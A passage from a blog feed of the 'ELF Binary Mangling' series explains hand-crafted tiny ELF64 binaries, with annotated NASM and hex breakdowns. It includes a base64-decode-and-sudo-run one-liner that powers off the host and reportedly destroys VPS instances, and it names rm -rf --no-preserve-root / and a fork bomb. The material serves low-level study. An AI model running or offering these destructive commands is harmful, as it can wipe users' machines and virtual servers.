&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dq&lt;/span> &lt;span class="kc">$$&lt;/span> &lt;span class="c1">; 0x2C | 00000000 | | e_shoff | p_vaddr |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; 0x30 | 01000000 | | e_flags | p_vaddr |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0x40&lt;/span> &lt;span class="c1">; 0x34 | 4000 | | e_shsize | p_addr |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0x38&lt;/span> &lt;span class="c1">; 0x36 | 3800 | | e_phentsize | p_addr |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="c1">; 0x38 | 0100 | | e_phnum | p_addr |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="c1">; 0x3A | 0200 | | e_shentsize | p_addr |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">cya:&lt;/span> &lt;span class="c1">;------|------------|------------------------------------------|-----------------------------|----------|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">al&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xa9&lt;/span> &lt;span class="c1">; 0x3C | b0a9 | Load syscall | e_shnum | p_filesz |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">syscall&lt;/span> &lt;span class="c1">; 0x3E | 0f05 | Execute syscall | e_shstrndx | p_filesz |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="c1">; 0x40 | 00000000 | Filler, should try to keep as all 0&amp;#39;s | | p_filesz |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">al&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xa9&lt;/span> &lt;span class="c1">; 0x44 | b0a9 | Load syscall | | p_memsz |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">syscall&lt;/span> &lt;span class="c1">; 0x46 | 0f05 | Execute syscall | | p_memsz |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="c1">; 0x48 | 00000000 | Filler, should try to keep as all 0&amp;#39;s | | p_memsz |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">reeb:&lt;/span> &lt;span class="c1">;------|------------|------------------------------------------|-----------------------------|----------|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">edi&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xfee1dead&lt;/span> &lt;span class="c1">; 0x4C | bfaddee1fe | Load magic &amp;#34;LINUX_REBOOT_CMD_POWER_OFF&amp;#34; | | p_align |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jmp&lt;/span> &lt;span class="nv">short&lt;/span> &lt;span class="nv">cya&lt;/span> &lt;span class="c1">; 0x51 | ebe9 | Short jmp back to e_shnum/p_filesz @0x3C | | p_align |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">nop&lt;/span> &lt;span class="c1">; 0x53 | 90 | Filler, could use this byte for code. | | p_align |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;---------------------+------+------------+------------------------------------------+-----------------------------+----------+&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Note that we are overlaying the ELF Header with the program headers.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; You have 12 bytes minus your short jump from 0x4-0x10 to store code&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Then you have 8 bytes within the program headers at 0x4c for more &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; code, plus e_shentsize and the lower bytes of p_filesz + p_memsz for&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; storage and code if you stay within the bounds - still testing.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; LINUX_REBOOT_CMD_POWER_OFF&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; (RB_POWER_OFF, 0x4321fedc; since Linux 2.1.30). The message&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; &amp;#34;Power down.&amp;#34; is printed, the system is stopped, and all power&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; is removed from the system, if possible. If not preceded by a&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; sync(2), data will be lost.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; [ Compile ]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; nasm -f bin -o bye bye.nasm&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; One Liner &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; base64 -d &amp;lt;&amp;lt;&amp;lt; f0VMRrrc/iFDvmkZEijrPAIAPgABAAAABAAAAAEAAAAcAAAAAAAAAAAAAAAAAAAAAQAAAEAAOAABAAIAsKkPBQAAAACwqQ8FAAAAAL+t3uH+6+mQ &amp;gt; bye;chmod +x bye;sudo ./bye&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Syscall reference: http://man7.org/linux/man-pages/man2/reboot.2.html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; [ Full breakdown ]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; --- Elf Header &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Offset # Value Purpose&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 0-3 A 7f454c46 Magic number - 0x7F, then &amp;#39;ELF&amp;#39; in ASCII&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 4 B ba 1 = 32 bit, 2 = 64 bit&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 5 C dc 1 = little endian, 2 = big endian&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 6 D fe ELF Version&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 7 E 21 OS ABI - usually 0 for System V&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 8-F F 43be69191228eb3c Unused/padding &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 10-11 G 0200 1 = relocatable, 2 = executable, 3 = shared, 4 = core&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 12-13 H 3e00 Instruction set&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 14-17 I 01000000 ELF Version&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 18-1F J 0400000001000000 Program entry position&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 20-27 K 1c00000000000000 Program header table position - This is actually in the middle of J.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 28-2f L 0000000000000000 Section header table position (Don&amp;#39;t have one here so whatev)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 30-33 M 01000000 Flags - architecture dependent&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 34-35 N 4000 Header size&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 36-37 O 3800 Size of an entry in the program header table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 38-39 P 0100 Number of entries in the program header table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 3A-3B Q 0200 Size of an entry in the section header table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 3C-3D R b0a9 Number of entries in the section header table [holds mov al, 0xa9 load syscall]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 3E-3F S 0f05 Index in section header table with the section name [holds syscall opcodes]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; --- Program Header&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; OFFSET # Value Purpose &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 1C-1F PA 01000000 Type of segment&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 0 = null - ignore the entry&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 1 = load - clear p_memsz bytes at p_vaddr to 0, then copy p_filesz bytes from p_offset to p_vaddr &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 2 = dynamic - requires dynamic linking&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 3 = interp - contains a file path to an executable to use as an interpreter for the following segment&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 4 = note section&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 20-23 PB 1c000000 Flags &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 1 = PROT_READ readable&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 2 = PROT_WRITE writable&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 4 = PROT_EXEC executable&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; In this case the flags are 1c which is 00011100&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; The ABI only pays attention to the lowest three bits, meaning this is marked &amp;#34;PROT_EXEC&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 24-2B PC 0000000000000000 The offset in the file that the data for this segment can be found (p_offset)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 2C-33 PD 0000000001000000 Where you should start to put this segment in virtual memory (p_vaddr)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 34-3B PE 4000380001000200 Physical Address &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 3C-43 PF b0a90f0500000000 Size of the segment in the file (p_filesz) | NOTE: Can store string here and p_memsz as long as they&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 44-4B PG b0a90f0500000000 Size of the segment in memory (p_memsz) | are equal and not over 0xffff - holds mov al, 0xa9 and syscall &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 4C-43 PH bfaddee1feebe990 The required alignment for this section (must be a power of 2) Well... supposedly, because you can write code here.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Breakdown of the hex dump according to the above data&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; A---------- B- C- D- E- F----------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000000 7f 45 4c 46 ba dc fe 21 43 be 69 19 12 28 eb 3c |.ELF...!C.i..(.&amp;lt;|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; PA---------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; G---- H---- I---------- J----------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000010 02 00 3e 00 01 00 00 00 04 00 00 00 01 00 00 00 |..&amp;gt;.............|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; PB--------- PC---------------------- PD---------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; K---------------------- L----------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000020 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; PD--------- PE---------------------- PF---------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; M---------- N---- O---- P---- Q---- R---- S----&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000030 01 00 00 00 40 00 38 00 01 00 02 00 b0 a9 0f 05 |....@.8.........|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; PF--------- PG---------------------- PH---------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000040 00 00 00 00 b0 a9 0f 05 00 00 00 00 bf ad de e1 |................|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; PH---------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000050 fe eb e9 90 |....|&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="0x040x0f">0x04–0x0F&lt;/h3>
&lt;p>The first two instructions move the constant values into two registers. These
values are &lt;code>LINUX_REBOOT_MAGIC2&lt;/code> (0x28121969) into ESI, and
&lt;code>LINUX_REBOOT_CMD_POWER_OFF&lt;/code> (0x4321fedc) into EDX. Here, we are using the 32 bit
forms of the registers. Moving a 32 bit value into the lower 32 bits of a given
64 bit register will zero out the top 32 bits, meaning we don’t need to xor or
do anything else to ensure that the top 32 bits are 0. This is not true for
moving to lower bits though, such as say, &lt;code>mov al, 8&lt;/code>. This would keep the top
values in RAX, and only change the bottom 8 bits to 00001000.&lt;/p>
&lt;p>These two instructions are 5 bytes each, meaning that in our 12 byte boundary,
we have two bytes left to use up here. This is the perfect amount of space to
fit a short jump to the rest of the code!&lt;/p>
&lt;h3 id="0x4c-0x53">0x4C-0x53&lt;/h3>
&lt;p>Now we jump down to the label &lt;code>reeb&lt;/code> within the &lt;code>p_align&lt;/code> section of the program
header, which has 8 bytes for us to use. Here, we are moving another constant,
&lt;code>LINUX_REBOOT_MAGIC1&lt;/code>, necessary for our syscall into EDI, and jumping to the
last location to execute. The mov and jmp instructions together are only 7
bytes, so I included a nop at the very end to keep the binary at a svelte 84
bytes. Without this, the binary wouldn’t execute. It also shows how much space
you have to work with in this location.&lt;/p>
&lt;p>When I initially released this binary, I didn’t put the &lt;code>mov al, 0xa9&lt;/code> and syscall
instructions up in the program header, leading to 1 extra byte. To solve this,
we do something that requires a bit of care to do properly.&lt;/p>
&lt;h3 id="0x3c-0x39-and-0x440x47">0x3C-0x39 and 0x44–0x47&lt;/h3>
&lt;p>The final step is our jump to the label cya, starting at 0x3C. There are a few
structures in this area that need to be addressed.&lt;/p>
&lt;p>The &lt;code>p_filesz&lt;/code> and &lt;code>p_memsz&lt;/code> structures appear to need to be the same value in order
to execute properly on most kernels. The other tricky aspect is that these are
file sizes that have a size limit within the program header that needs to be
investigated more. Since this is little endian when we write in nasm, it stays
in the lower 4 bytes of the addresses. If you touch the first byte, it might
put you over the available memory on the system, which will render the binary
unusable. In my experience, using only 4 bytes in these locations is playing it
safe, but you should definitely play around with these!&lt;/p>
&lt;p>Knowing these limitations, we have enough space to do our final moves, loading
RAX with our syscall value 0xa9, and executing a &lt;strong>REBOOT&lt;/strong>.&lt;/p>
&lt;p>A very interesting thing to note about the bytes at 0x3C-0x39 is that they are
processed a total of three times by the kernel when this executes. First as the
&lt;code>e_shnum&lt;/code> and &lt;code>e_shstrndx&lt;/code> structures in the ELF header, second as the &lt;code>p_filesz&lt;/code>
structure in the Program Header, and lastly as the code that finishes the
execution of the binary.&lt;/p>
&lt;p>Here is a handy one liner that will do this.&lt;/p>
&lt;pre tabindex="0">&lt;code>base64 -d &amp;lt;&amp;lt;&amp;lt; f0VMRrrc/iFDvmkZEijrPAIAPgABAAAABAAAAAEAAAAcAAAAAAAAAAAAAAAAAAA \
AAQAAAEAAOAABAAIAsKkPBQAAAACwqQ8FAAAAAL+t3uH+6+mQ &amp;gt; bye;chmod +x bye;sudo ./bye
&lt;/code>&lt;/pre>&lt;p>&lt;strong>Please read the next section before running this on any system.&lt;/strong>&lt;/p>
&lt;h2 id="effects">Effects&lt;/h2>
&lt;p>On a desktop system, this binary will shut down your computer abruptly. There
are some potential side effects from a shutdown like this, but personally I
haven’t experienced any issues with it.&lt;/p>
&lt;p>However, on a VPS, this specific syscall proves to be a bit of a problem. Since
the virtual machine doesn’t actually have any of it’s own physical hardware
(it’s either virtualized or shared with the host), the power button on a VPS
isn’t really a thing. By executing a syscall the effectively “shuts off the
power” to the operating system, this can put the VM in an unknown state.&lt;/p>
&lt;p>So far, whenever this is run on a VPS, it seemingly wipes out the entire
instance. A thread about this one liner (the 85 byte version) is here:&lt;/p>
&lt;p>&lt;a href="https://twitter.com/netspooky/status/1061010829666017280">https://twitter.com/netspooky/status/1061010829666017280&lt;/a>&lt;/p>
&lt;p>This is a far more destructive piece of code than rm -rf &amp;ndash;no-preserve-root / or
a fork bomb, because even in those situations, a VM could be recovered via
snapshots or mitigated with access / resource controls.&lt;/p>
&lt;h2 id="fini">.fini&lt;/h2>
&lt;p>So there is still quite a lot to explore in this space, and not enough people
doing it! I encourage you to play around with these concepts, and see what you
can do with it! The next write up in this series will have to do with some
assembly optimization concepts, and some space saving tricks like reusing
constants of the header (hint: 0x00–0x04), and their practical usage.&lt;/p>
&lt;p>greetz: hermit, blackout, jinn, dnz, phaith, readme, notpike, decoded and many
others for encouraging me, nt for challenging me frequently (and publicly), and
everyone who nuked their own VPS and VMs to test with me.&lt;/p>
&lt;p>bye2: everyone who flashcards others with assembly, you really make chatting a
joy and totally not toxic.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/dog.png" alt="facebook emote dog saying bye">&lt;/p></description></item><item><title>ELF Binary Mangling Pt. 2: Golfin</title><link>https://n0.lol/ebm/2/</link><pubDate>Sun, 09 Dec 2018 12:00:00 -0400</pubDate><guid>https://n0.lol/ebm/2/</guid><description>&lt;p>Greetings everyone, and welcome to part two of the Binary Mangling series. In
our last installment, we took a look at the basics of what an ELF binary is,
how it&amp;rsquo;s laid out, and the bare minimum needed to execute some raw machine code.
We also did a little bit of mangling, by hand optimizing our binary in a hex
editor to put things where they aren&amp;rsquo;t supposed to go.&lt;/p>
&lt;p>In this installment, we are going much, much deeper, to challenge the kernel
with a clown car of barely valid bytes to test the limits of the ELF format
itself.&lt;/p>
&lt;p>The third part should be coming out at around the same time as this, with a
practical example of binary golf, the art of executing a binary in as few moves
as possible.&lt;/p>
&lt;h2 id="that-shrinking-feeling">That Shrinking Feeling&lt;/h2>
&lt;p>Personally, I have wanted to figure out what the absolute smallest ELF64 binary
I could manage to create was for a while now.&lt;/p>
&lt;p>By normal means, using the GNU assembler and linker, you can create pretty small
binaries that have the basic data structures needed to dictate how the
executable is parsed by the OS.&lt;/p>
&lt;p>In the previous write up, we showed the two necessary structures required to
execute your code: The ELF header and the program header. For more info on
these, please refer to [part one].&lt;/p>
&lt;p>In my initial investigation, I created a 120 byte ELF64 that included the &lt;a href="https://linux.die.net/man/2/exit">exit&lt;/a>
syscall in part of the ELF header, meaning the binary was exactly the size of
the ELF and Program Headers. After playing around a bit more, I discovered that
you can actually end the ELF header early, at 0x3A instead of 0x40, meaning you
could save a whole 6 bytes by moving the program header up into the ELF header.&lt;/p>
&lt;p>I explored the possibility of overlaying the program and ELF headers, but due to
the 8 byte addresses of ELF64, I couldn&amp;rsquo;t figure out a proper way to do it. I
tried again months later and was almost there, but still no dice. After a bunch
of messed up nasm files, and some botched hex editing sessions, &lt;a href="https://twitter.com/_veekun">@_veekun&lt;/a> came
through and found the proper alignment (big big shoutout).&lt;/p>
&lt;p>Here is a breakdown of how we are going about this.&lt;/p>
&lt;h2 id="overlay">Overlay&lt;/h2>
&lt;p>So the basic principles of overlaying these two header structures relies on some
very precise pieces to be in place.&lt;/p>
&lt;p>It&amp;rsquo;s probably best explained with this nasm file that you can pop into your fav
text editor.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;span class="lnt">36
&lt;/span>&lt;span class="lnt">37
&lt;/span>&lt;span class="lnt">38
&lt;/span>&lt;span class="lnt">39
&lt;/span>&lt;span class="lnt">40
&lt;/span>&lt;span class="lnt">41
&lt;/span>&lt;span class="lnt">42
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; exit.asm&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;────────────────────────────────────────────────────────────────────────────────&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">BITS&lt;/span> &lt;span class="mi">64&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">org&lt;/span> &lt;span class="mh">0x100000000&lt;/span> &lt;span class="c1">; Where to load this into memory&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;----------------------+------+-------------+----------+--------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; ELF Header struct | OFFS | ELFHDR | PHDR | ASSEMBLY OUTPUT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;----------------------+------+-------------+----------+--------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">db&lt;/span> &lt;span class="mh">0x7F&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;ELF&amp;#34;&lt;/span> &lt;span class="c1">; 0x00 | e_ident | | 7f45 4c46&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">_start:&lt;/span> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">al&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x3c&lt;/span> &lt;span class="c1">; 0x04 | ei_class | | b0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; 0x05 | ei_data | | 3c&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">xor&lt;/span> &lt;span class="nb">rdi&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">rdi&lt;/span> &lt;span class="c1">; 0x06 | ei_version | | 4831 ff&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">syscall&lt;/span> &lt;span class="c1">; 0x09 | u | | 0f05 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">nop&lt;/span> &lt;span class="c1">; 0x0b | n | | 90&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">nop&lt;/span> &lt;span class="c1">; 0x0c | u | | 90&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">nop&lt;/span> &lt;span class="c1">; 0x0d | s | | 90&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">nop&lt;/span> &lt;span class="c1">; 0x0e | e | | 90&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">nop&lt;/span> &lt;span class="c1">; 0x0f | d | | 90&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;----------------------+------+-------------+----------+--------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; ELF Header struct ct.| OFFS | ELFHDR | PHDR | ASSEMBLY OUTPUT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;----------------------+------+-------------+----------+--------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="c1">; 0x10 | e_type | | 0200&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0x3e&lt;/span> &lt;span class="c1">; 0x12 | e_machine | | 3e00&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="c1">; 0x14 | e_version | | 0100 0000&lt;/span>
